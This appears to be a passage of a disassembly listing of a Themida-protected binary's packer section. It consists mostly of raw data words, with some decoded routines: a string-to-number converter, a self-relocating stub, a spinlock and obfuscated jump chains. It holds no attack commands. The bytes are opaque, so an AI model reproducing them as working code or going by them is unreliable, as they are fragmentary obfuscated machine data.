7FA4742Dh dd 77D1F437h, 0CB30BD0Fh, 8D6FA4A4h, 503C6A85h, 8E906h dd 0ADA00000h, 0EBCBB5E5h, 0D0FF8562h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 7AC35545h, 177C4BD7h, 38096DB7h dd 0BD8DD98Ah, 64D1299h, 2CD99D29h, 0BB66064Dh, 4F8B7234h dd 45958B1Ch, 6A064D25h, 39952301h, 91064D2Dh, 6E9h, 916B4E00h dd 50AAE19Bh, 66605250h, 870FFB8Bh, 0 dd 50310F61h, 0F65B352h, 5A616031h, 91585A58h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 26C35646h, 858D67C8h dd 6503C6Ah, 0D8BBA66h, 8166D0FFh, 8B94CDC3h, 6A204Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0AECD37C3h, 36AD68Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0DCC35343h, 0CE91483h, 9F000000h, 0A1E2C6B4h dd 0DF62F50Ah, 81E488CEh, 0EC4705CAh, 8B665040h, 240C89D9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 41C35040h dd 96E90A2Dh, 952BAC1Fh, 64D0391h, 3C6A858Dh, 6A0650h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0C4AA35C3h, 68C811E8h, 2E15BD31h, 0D0FF064Dh, 1529BD89h dd 0F53064Dh, 8B5BDEBFh, 4D4D7B8Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 66B2DABCh dd 2F1DC381h, 0D98B01FEh, 4D7B858Bh, 0B529064Dh, 64D2541h dd 0D18B00FEh, 0BB66016Ah, 0C0688000h, 0E8BDA85Bh, 0Ch dd 91846A1Dh, 46ADB3DEh, 23F5555Ah, 0AE9h, 7FE2EC00h, 6B534FE5h dd 5B39ED64h, 3F240481h, 6A425744h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 80A2C357h dd 858DB8D7h, 6503C74h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0DAC35747h, 0F6CBCB81h, 0D0FF4470h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 79C35141h, 31006521h dd 4771065h, 29659D8Bh, 0BD83064Dh, 64D2FF9h, 0D840F00h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 26FEC356h, 8F78355Ah, 0BD83FC45h dd 64D1281h, 0DD850F01h, 0E8000000h, 14h, 0A6CE15ACh, 0E84DD8h dd 16E60F5Ah, 0F1DE1F38h, 4119EE0Dh, 8A0F52h, 5B000000h dd 7E8D8D5Bh, 0E806503Ch, 8, 2D06AFCFh, 0DF13CA89h, 2CF9BD09h dd 6A5A064Dh, 50006A03h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0CF647D8Ah, 9CBEB596h, 0A2D6BAACh dd 16A4DD3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 4BC35545h, 2FE19D8Bh, 0D1FF064Dh, 6AD68B66h, 8B66F901h dd 81016AD1h, 0B96F3BD3h, 0E9D1FF57h, 13h, 64FD2DEh, 105587CDh dd 0E3781947h, 59BB3D3Ah, 0E84284ADh, 0FA0E5C02h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D1C35141h, 530E1EC9h dd 0AE9206Ah, 0EB000000h, 9D83B334h, 0DBF164AFh, 679DBAE9h dd 0FF6A39AEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0FC35646h, 0FF7403BBh, 4D0B8995h, 0B8D18B06h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 16C35141h dd 720E4F6Ah, 6C79EDA4h, 89D6BF0Fh, 4D1B919Dh, 0FC00B06h dd 4784h, 49BD8300h, 64D11h, 3A840Fh, 8B660000h, 0C595FFDEh dd 6A064D06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 9419C357h, 98FB9FA4h, 8D7CE9F0h dd 559D0Bh, 9D03064Dh, 64D2E5Dh, 15A9858Bh, 0C281064Dh dd 2BA7B137h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0C1EAC351h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0CBB14F33h, 295D4D97h, 4D036DBDh, 0D98C6606h, 0AB60DA81h dd 0C1F62814h, 5B840F04h, 8B000000h, 4D110195h, 50E906h dd 1BBA0000h, 8B2C121Fh, 4D0B1DB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 1FF6EC19h dd 0A60A48CCh, 8529C51Ch, 64D138Dh, 1180C681h, 0D38B0000h dd 0BD9958Bh, 6C7064Dh, 0 dd 11CD958Bh, 0B25E064Dh, 0F88398h, 0C42840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0B0D197C3h, 16921481h, 834AB1CCh, 850F01F8h, 200h, 0B45958Bh dd 0B8064Dh, 0F9000000h, 840FC00Bh, 16Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0AAC35747h, 3F6C85Fh dd 0F994FC41h, 5D3ADA81h, 8B60285Eh, 4D2DF1B5h, 55B58906h dd 61064D16h, 0F01F883h, 17184h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E8F0B0FAh dd 14h, 15C77E47h, 15A8A37h, 0A9DC784Ch, 520CEC8Fh, 2CC65677h dd 835ADC8Ah, 840F03F8h, 36h, 0D860Fh, 8E90000h, 10000000h dd 31F88585h, 89CC474Dh, 4D31219Dh, 50C02B06h, 74BD8D5Ah dd 60005B79h, 81F38B66h, 0AB37D0C6h, 0E7FF6110h, 3159D03h dd 1B8064Dh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 166AC350h, 0FE80914h dd 50000000h, 3FA587DDh, 426C8F29h, 0CCC53EFDh, 11E9710Eh dd 79000000h, 84A9E3FDh, 0B9CA0F8Eh, 194D1B1Bh, 46DE1A66h dd 74BD8D5Ah, 23005B79h, 4D14259Dh, 0E1B52906h, 0FF064D2Ah dd 55006AE7h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 10E8981Eh, 27000000h, 14BB2276h, 63E6029Ch dd 1AAD7FDAh, 0F85D5D3h, 683h, 19B52900h, 5B064D2Bh, 8A0F60h dd 61000000h, 24298589h, 0BD8D064Dh, 64D4407h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 18C35646h, 1E1F7825h dd 0C4E94B04h, 66000002h, 0A413EA81h, 11E9h, 0B6607700h dd 0A4ED51CCh, 0EDB39E16h, 958D37DEh, 85C74076h, 64D4DD6h dd 5, 31FD9D8Bh, 5B8064Dh, 8B000000h, 9A1E9D1h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0A4ED51C3h, 0F02F883h, 0ED85h, 0EE900h, 0D3F0000h, 7E0FE25Ch dd 0C1230ADFh, 58C0FCADh, 0B8h, 0D88B6600h, 840FC00Bh dd 89h, 9E9h, 0EDA18F00h, 5D0C4D34h, 0F883231Ah, 83840F01h dd 89FFFFFFh, 4D2439B5h, 3F88306h, 0FE7C840Fh, 6AFFFFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0A1A17BC3h, 6A5E748Fh, 0B8C1C7h, 66000000h, 0BD8DD38Bh dd 5B7974h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 61C35646h, 0DE640684h, 219D23E8h, 0FF064D04h, 0BD0153E7h dd 64D2C81h, 0FFBD8D5Ah, 89064D45h, 4D26E995h, 1A9E906h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0BBB699C3h, 0E93B1958h, 9, 93C11113h, 0DFBD2D2h dd 0F883F9E0h, 51850F03h, 66000000h, 8DF90FBAh, 4D4793BDh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0F45F4698h, 0E987C380h, 13Fh, 2CC98D89h dd 10E8064Dh, 87000000h, 0C1911183h, 0F7D39C13h, 2F22A29Eh dd 666D5582h, 5BD6F8BAh, 0F05F883h, 2D85h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0CD379E72h, 7F85C2AEh, 801E96Eh, 80F50000h, 0F883B4CFh dd 35850F06h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 4FDBC355h, 0D68BE1E9h dd 498BBD8Dh, 0BF0F064Dh, 0B1E9DAh, 9D8B0000h, 64D0B59h dd 0F07F883h, 7A85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 6053D68Bh, 8166D38Ah dd 61E3ECCAh, 0D38B665Ah, 0C9BD8Dh, 9523064Dh, 64D0301h dd 141E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0EFFC4265h, 2D5A2E42h, 11E9h, 0E6AE2900h dd 7A496487h, 5380C92h, 183FCECCh, 0F2BA0DF2h, 8317E7C6h dd 850F0AF8h, 1Fh, 0BD8DD78Bh, 64D4B83h, 860F93B2h, 0Ah dd 5E9h, 4FF31900h, 0E96271h, 57000000h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 62C35040h, 5EDF72ABh dd 0B98589E3h, 0B9064D1Eh, 6B702B35h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 97C35242h, 9D89583Ch, 64D0E75h dd 0F003F83h, 6384h, 0BD2B6000h, 64D26B9h, 0E09BB866h dd 660F3061h, 0D1485CBBh, 0F5DF8BC9h, 10E847h, 67540000h dd 0D16B5FEh, 54E0FCCDh, 3F315ADAh, 0EE90145h, 87000000h dd 0F2541841h, 9748AF71h, 0EC8531A0h, 0B1E95BC2h, 0E8FFFFFFh dd 11h, 0D5AAACFEh, 0BA326D16h, 0A2BDE184h, 0C453DABFh dd 66F56033h, 5B61FE8Bh, 55006A5Fh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0BD89F8EAh, 64D4D7Fh dd 618D8DF5h, 8B064D04h, 4D044D95h, 81850906h, 0FF064D1Fh dd 4D231DB5h, 3858D06h, 50064FA9h, 550DBD8Dh, 8D8D064Dh dd 64D70E9h, 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h dd 4D7092B5h, 18D8D06h, 2B064D71h, 33A4F3CFh, 0B8C9h, 0C00B0000h dd 0BD834674h, 64D1149h, 0FF067400h, 4D06C595h, 7FB58B06h dd 8D064D4Dh, 4FA90385h, 8DD0FF06h, 4D41E585h, 0C7D0FF06h dd 4D034D85h, 106h, 6DA58B00h, 8B064D11h, 4D2F3DB5h, 95AD8B06h dd 33064D13h, 0CC2C0h, 2F219D8Bh, 6A064Dh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 7C6732C3h dd 0B5896913h, 64D2759h, 3698D89h, 0BD83064Dh, 64D2769h dd 17840F00h, 0F000000h, 68Dh, 21958B00h, 0FF064D31h, 4D301595h dd 0F37DBB06h, 0BD832B29h, 64D2999h, 0F9850F00h, 89000001h dd 4D1DF985h, 81BD8306h, 1064D12h, 1E6850Fh, 85890000h dd 64D3245h, 13A9BD83h, 0F00064Dh, 1D384h, 95895100h, 64D1559h dd 0D2BD835Ah, 64D4Dh, 1BE840Fh, 0B5890000h, 64D2649h dd 0A903858Dh, 890F064Fh, 6, 30698589h, 0B58B064Dh, 64D4D7Fh dd 0CE8h, 5500A900h, 636DC1E3h, 530A6F2Bh, 0D98B66B4h dd 6AD0FF5Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 68C6C355h, 6CAD7160h, 0C5B58958h dd 0F064D0Ch, 680h, 0E1958B00h, 0C6064D0Fh, 4D26E585h dd 820F5406h, 0 dd 4E8h, 4EBEF400h, 50FE8AFFh, 0C4B96660h, 4CB866BFh, 448B610Bh dd 0BA660424h, 8BFA72h, 0AE8h, 65F51F00h, 33D67D9Ch, 66AB0AD7h dd 5B8B65BAh, 4244489h, 0FE8h, 160DA900h, 361E4195h, 4F8B2053h dd 283A299h, 0AE9h, 0F6B33900h, 0B4CF52D4h, 5A2B9936h dd 0DE8B6658h, 1431B5FFh, 6A064Dh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 594DDBC3h, 881F927Fh dd 331BF9Fh, 4D1B1D95h, 6858D06h, 6A064D39h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0FF5CC356h, 8800FD0h, 56000000h, 15A18589h, 6A5A064Dh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 15958BB7h, 6A064D21h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 61F503CAh dd 0D38114B2h, 71F63103h, 8D0FD0FFh, 18h, 13E9h, 33A2E900h dd 5C3247E3h, 22874439h, 0EF47EA2h, 2B4F4DC9h, 2EA1B5FFh dd 0CA81064Dh, 52594D18h, 231D95FFh, 9D0B064Dh, 64D2D09h dd 4D7FB58Bh, 0E852064Dh, 0Dh, 7F94EAE4h, 61AC4BA7h, 0CB99964Bh dd 5BFE8ABFh, 38F0F5Ah, 0F000000h, 6AC3D6BFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 6804C355h, 0DF43AD9Eh, 1ABD9589h, 800F064Dh, 0Ch, 68D0Fh dd 0B5890000h, 64D0FB1h, 15A9B58Bh, 6A064Dh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2E1046C3h dd 399B9B8h, 4D1F3D95h, 0FF60B06h, 4284h, 6D9D8900h, 0C6064D2Bh dd 6A0006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0F63EBCC3h, 14E90AE9h, 0 dd 64EE9E0Bh, 0A98A4406h, 7E0D017Dh, 8153E4Dh, 89764FC2h dd 4D4D8785h, 0F605606h, 0BD8BFEB7h, 64D2A35h, 0F8835B61h dd 0D9840F00h, 89000002h, 4D29EDBDh, 0B806h, 0D08B0000h dd 0F00F883h, 0A484h, 0E19D0300h, 83064D2Bh, 850F02F8h dd 7Fh, 3335B589h, 858D064Dh, 64D4402h, 2BAD9589h, 8C0F064Dh dd 16h, 11E9h, 0DF5F5700h, 4A0D1525h, 2499F961h, 5B73FD3h dd 292DECE1h, 81000009h, 2E3491E3h, 820F5017h, 5, 8FE12BAh dd 24048901h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0DFC35343h, 3029C6CDh, 4DBD2907h, 0C3064D04h, 0E281F560h dd 24673EACh, 0DD8D3161h, 0B8064D03h, 0 dd 2AD18D89h, 25E9064Dh, 8B000002h, 4D310595h, 1B806h dd 800F0000h, 6, 24158589h, 0BD8D064Dh, 64D4407h, 0F2E9h dd 85BD8900h, 83064D0Ch, 850F02F8h, 49h, 0BD8DD38Bh, 64D45FFh dd 6830F60h, 81000000h, 88DB85E1h, 51BD8B3Bh, 61064D32h dd 0C2E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0D5F819C7h, 8B5CEA5Ch, 4D30C595h dd 3F88306h, 45850Fh, 7E90000h, 9E000000h, 399209E7h, 0BD8D0AE2h dd 64D4793h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 36C35646h, 0DBE42779h, 0E99D8960h, 61064D0Dh, 52E9h dd 899D8B00h, 83064D05h, 850F05F8h, 43h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ch, 0DFC35040h, 378D19A2h dd 7A2EA2F2h, 12E9h, 182DEF00h, 25E9C30h, 9E20A020h, 0A3B8E815h dd 0E99F975Dh, 83h, 57DFBF0Fh, 0B9FEE780h, 6B702B35h, 83DA8B66h dd 840F003Fh, 6Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 7FC35545h, 8D09FCB3h, 64D1251h, 77C28166h dd 4595899Bh, 30064D0Ch, 0ACDA810Fh, 0D122B07Fh, 7D9589C9h dd 66064D2Fh, 0B647D68Bh, 0FFADE9D3h, 6AFFFFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 1FC238C3h, 83D08B38h, 850F05F8h, 88h, 2EDD958Bh, 6E9064Dh dd 18000000h, 28F113A4h, 0D98C660Ah, 0EE8h, 0EBECFC00h dd 2170223Dh, 0E95150BEh, 0E926E8C3h, 0Ah, 0A5F084EBh dd 70C66232h, 0BB5BDC45h, 5FDAD7D3h, 0F04C1F6h, 2385h dd 0C2816600h, 0B8855Eh, 0F000000h, 68Ch, 0AD858900h, 0E9064D32h dd 28h, 3D858960h, 61064D05h, 2BB1858Bh, 0B529064Dh, 64D0039h dd 0DE9E0FFh, 2F000000h, 0CFE0CD8h, 5AEFA424h, 79798034h dd 231DBD83h, 0F00064Dh, 12185h, 70BA6600h, 5E890D8h, 0FF000000h dd 1A22CFB0h, 14E8h, 4F3FDB00h, 32C99D8Dh, 0DAB2779Eh dd 8E3B6BC8h, 942D3394h, 5AF58AE8h, 8F0F505Bh, 8, 28D0Fh dd 0B9B30000h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 91559EE0h, 10915EDDh dd 0FAC680C3h, 0EE9h, 70A72E00h, 3108CA7Ch, 1C8F597Dh dd 0C648635Ch, 4D26E585h, 6A4506h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0BAF8E8C3h, 687DB632h dd 42FB8228h, 81D88B66h, 0E7412404h, 0B70F4B76h, 0FFDA8BDEh dd 4D1431B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 8EA803CFh, 0AD8D8B60h, 8B064D0Fh dd 858D61F9h, 64D3906h, 7D1DBB66h, 0EE9D0FFh, 0E6000000h dd 0E78E0C88h, 7A322D39h, 71B1352Dh, 1D8589ACh, 29064D23h dd 4D2D398Dh, 79953306h, 58064D24h, 958D8960h, 89064D00h dd 4D14719Dh, 0BD836106h, 64D4DD6h, 4B840F00h, 89000000h dd 4D2DEDBDh, 0A1B5FF06h, 6A064D2Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 7F02C350h dd 0CB0C33C5h, 0BE9h, 0E5CD900h, 0DD5D2141h, 3CD04A32h dd 95FFA6B7h, 64D231Dh, 0E759589h, 0F883064Dh, 0D1850F00h dd 0F000000h, 0BD83DABFh, 64D22F9h, 7B840F00h, 89000000h dd 4D25B58Dh, 0F9B5FF06h, 6A064D22h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 7FAC356h dd 9FA0C51Ah, 45A72907h, 1B83CB7h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0F23C355h, 0F8E9D3B7h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B623C350h dd 0B5FF0C5Dh, 64D2EA1h, 9DDCC6BBh, 0A1B5FF6Fh, 0E9064D2Eh dd 0Eh, 72C8AB10h, 5C18F9AEh, 0E0C6D21Fh, 0B5FF81BEh, 64D231Dh dd 10B59D33h, 8166064Dh, 0E9386DDBh, 19Fh, 2BC5BD01h, 9D8B064Dh dd 64D1B05h, 53006A5Fh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0E6283D69h, 21458589h, 0BB66064Dh dd 0BD835E2Eh, 64D2F49h, 0D6850F00h, 53000000h, 5AD38B66h dd 0FE9h, 0AF777100h, 64C873Eh, 0BFF1807Ch, 4D051B53h dd 26E585C6h, 234D064Dh, 4D230195h, 4E806h, 76A80000h dd 0BB66A435h, 6650482Eh, 8BC173BBh, 50042444h, 0AE952h dd 43580000h, 36981158h, 4D9940E5h, 0D78A310Fh, 8B585Ah dd 13E9h, 4709E200h, 0A6D23F48h, 7923C2D4h, 62C5CC8Ah dd 23ADFE0Fh, 4244489h, 61606060h, 0CA7DBE66h, 7E961h dd 0B10D0000h, 0B0D30739h, 0E95861B3h, 14h, 0F647170Ch dd 0D4B708D0h, 87C9F86Dh, 0FC9A7F91h, 2FEAA87h, 22C1B5FFh dd 9D89064Dh, 64D0DE1h, 3906858Dh, 0AE9064Dh, 3D000000h dd 2EC1B25Ch, 1A07FADFh, 19D09C5h, 0FF064D1Eh, 67BA66D0h dd 498589CDh, 8B064D2Fh, 0B8DEh, 0DA810000h, 1E093739h dd 4D7FBD89h, 157064Dh, 4D160195h, 0C00B5B06h, 32840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0DB912BC3h, 894AE749h, 4D0FF9B5h, 39E906h dd 9D8B0000h, 64D0301h, 231DB5FFh, 0F56064Dh, 686h, 3DB8100h dd 5A601FDCh, 0A903858Dh, 0BA66064Fh, 0BA503C6Ah, 389D7FB3h dd 0F240489h, 68Ah, 0AD958900h, 50064D1Ah, 0DBD8D56h, 8D064D55h dd 4D7B828Dh, 23BCB806h, 0CF2B7483h, 0C8D00730h, 0F8754947h dd 0BD83585Eh, 64D22F9h, 8B067400h, 4D0AED8Dh, 0B8C93306h dd 0 dd 840FC00Bh, 99h, 1149BD83h, 7400064Dh, 0C595FF06h, 0B8064D06h dd 0 dd 975C00Bh, 4D87BD83h, 7401064Dh, 87BD8309h, 2064D4Dh dd 0B58B0E75h, 64D4D7Fh, 0A903858Dh, 0D0FF064Fh, 41E5858Dh dd 0D0FF064Dh, 1139BD83h, 7502064Dh, 6DA58B2Fh, 8B064D11h dd 4D22F985h, 24048906h, 34D85C7h, 1064Dh, 0B58B0000h dd 64D4D83h, 1395AD8Bh, 1B8064Dh, 0C2000000h, 0EB000Ch dd 34D85C7h, 1064Dh, 0A58B0000h, 64D116Dh, 2F3DB58Bh, 0AD8B064Dh dd 64D1395h, 0CC2C033h, 69BD8300h, 64D27h, 0BD830F74h dd 64D3015h, 0FF067400h, 4D301595h, 7FB58B06h, 0C3064D4Dh dd 0AA07D381h, 13E95C76h, 9D000000h, 41EDDCDCh, 6B45F06h dd 22CC3914h, 3BD485A9h, 0A1B3E1A1h, 0BAh, 0D88B6600h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_546B84 ; --------------------------------------------------------------------------- loc_546B82: ; CODE XREF: Themida_:00546B87j inc eax inc edi loc_546B84: ; CODE XREF: Themida_:00546B80j cmp byte ptr [edi], 0 jnz short loc_546B82 xor ecx, ecx mov edi, [ebp+8] jmp short loc_546BB3 ; --------------------------------------------------------------------------- loc_546B90: ; CODE XREF: Themida_:00546BB5j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_546BA8 ; --------------------------------------------------------------------------- loc_546BA5: ; CODE XREF: Themida_:00546BABj mul ebx dec esi loc_546BA8: ; CODE XREF: Themida_:00546BA3j cmp esi, 0 ja short loc_546BA5 pop ebx add ecx, eax pop eax inc edi dec eax loc_546BB3: ; CODE XREF: Themida_:00546B8Ej or eax, eax jnz short loc_546B90 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 0BBh, 2 dup(8Fh) dd 0C18B25A6h, 221B3E9h, 12FF6800h, 5B15B300h, 5A003F00h dd 5B15B302h, 5B10C100h, 0 dd 5A002800h, 24602h, 200h, 2 dup(100h), 6EEEA00h, 0FAh dd 4 dup(0) dd 548C7F00h, 55255800h, 54E7EA00h, 54A92500h, 5488DE00h dd 5483C600h, 55218C00h, 54BC7800h, 552B4600h, 54E74100h dd 54E14800h, 54B3BC00h, 54C5FC00h, 54A0D600h, 5498CB00h dd 54F3F200h, 550F3500h, 54EF4500h, 54AC8A00h, 55269200h dd 54AF4900h, 55070B00h, 55169500h, 54874200h, 54797E00h dd 54EE4500h, 54E88900h, 54D96E00h, 54724800h, 54AC4200h dd 5475D600h, 54798400h, 550C1C00h, 54E0AB00h, 550F6F00h dd 550C3900h, 54BE7300h, 551A8500h, 54941700h, 54DA7800h dd 54B06200h, 54E80700h, 54FE8900h, 54BFDA00h, 54D73200h dd 54743A00h, 551E7D00h, 54A6CC00h, 552B0100h, 54C86900h dd 552C0C00h, 54DFF100h, 54C3EE00h, 54B1D800h, 55098400h dd 54C11500h, 54DC3800h, 54F33500h, 55042400h, 54842900h dd 54862F00h, 547C0E00h, 552B2A00h, 5473B200h, 54A84F00h dd 5514F200h, 54CC5E00h, 551B7700h, 54FC2600h, 54F70600h dd 54B20900h, 54A2C800h, 54D9A200h, 552A2500h, 54855200h dd 54E76F00h, 5527E800h, 54BD7200h, 54F4A400h, 54EA6B00h dd 55162E00h, 54D6F100h, 5513DA00h, 5505F300h, 55160400h dd 551E9900h, 54A31300h, 54FF1F00h, 55005D00h, 54D36C00h dd 5498AD00h, 54AC3700h, 547E2A00h, 55006500h, 551FAC00h dd 5500B900h, 547E7400h, 54C45900h, 54A38000h, 55157F00h dd 54ED5500h, 547D3000h, 54CA0B00h, 54AA9F00h, 54CD7700h dd 54B22800h, 548F1F00h, 54B45800h, 5503BE00h, 54F07600h dd 54B67200h, 54E2F600h, 54FC1000h, 54DFF900h, 54DB8400h dd 552BAF00h, 54D7AA00h, 54D3EE00h, 54B89200h, 548BA200h dd 54C68700h, 54879400h, 54C4FD00h, 54840E00h, 54FA2400h dd 54A31B00h, 54F1E400h, 5497ED00h, 549E3B00h, 548FB800h dd 551E5F00h, 54E16000h, 54786500h, 55170100h, 5510E500h dd 54B7BC00h, 547AF800h, 54800400h, 54902700h, 54FE3300h dd 548D5700h, 550C5600h, 5503F200h, 549B9300h, 55024300h dd 54CF4A00h, 54B88A00h, 54AB5900h, 547D0E00h, 54B2F800h dd 5486B000h, 551AF200h, 54E67600h, 552A8400h, 54C71200h dd 54899800h, 5512AB00h, 54D27C00h, 54FB1D00h, 547E6500h dd 55231000h, 55068300h, 54773300h, 54D74800h, 54BB9800h dd 54A41A00h, 54F0D000h db 0 ; --------------------------------------------------------------------------- loc_546EAD: ; CODE XREF: Themida_:005738C4j ; Themida_:00573EDBj ... pusha pushf cld call $+5 pop edi sub edi, 64D7FCBh mov eax, edi add edi, 64D7CE3h cmp eax, [edi+2Ch] jnz short loc_546ECB jmp short loc_546EDE ; --------------------------------------------------------------------------- loc_546ECB: ; CODE XREF: Themida_:00546EC7j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_546EDA ; --------------------------------------------------------------------------- loc_546ED5: ; CODE XREF: Themida_:00546EDCj add [edi+ecx*4+40h], eax dec ecx loc_546EDA: ; CODE XREF: Themida_:00546ED3j or ecx, ecx jnz short loc_546ED5 loc_546EDE: ; CODE XREF: Themida_:00546EC9j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_546EEB: ; CODE XREF: Themida_:00546EF2j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_546EEB loc_546EF4: ; CODE XREF: Themida_:loc_548063j ; Themida_:00548A92j ... lodsb sub al, 0B7h sub al, bl push edx mov dh, 57h jmp loc_54CF0F ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0DA10A6BDh, 0FDF58147h, 5678935Eh, 0ED5DB5BEh, 0E9F50160h dd 36D5h, 8B243433h, 0C7E92424h, 0BD00000Fh, 7E9F2EF4h dd 2BACF581h, 0B9515FE9h, 0ED22D1EAh, 0C8BCD29h, 0E1895124h dd 0B7E0E9h db 0 ; --------------------------------------------------------------------------- loc_546F45: ; CODE XREF: Themida_:0054C454j pop esp mov [esp], ecx push 1 pop ecx or [edi+1Ch], ecx push dword ptr [esp] pop ecx jmp loc_550EAF ; --------------------------------------------------------------------------- db 5Fh dd 8904EC83h, 7BE9242Ch, 830000B2h, 3C8704C7h, 0DAF75C24h dd 6028E9h, 92E95D00h, 5E000062h, 8FEFE9h, 242C8B00h, 4C481h dd 0A5F30000h, 56386203h, 5650E689h, 0A74932BEh, 0B142E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_546F9E: ; CODE XREF: Themida_:005510B1j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push small word ptr [eax] jmp loc_54A24D ; --------------------------------------------------------------------------- db 50h, 0E9h, 0F0h dd 8900004Fh, 0EC81240Ch, 4, 52243C89h, 0D836A8BAh, 2C1FBF3Ch dd 67E94D44h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546FDB: ; CODE XREF: Themida_:005502ADj add esp, 4 jmp loc_54D7CA ; --------------------------------------------------------------------------- dw 0B551h dd 0A3FEE90Ch, 0E9560000h, 547Dh, 0FFCBAh, 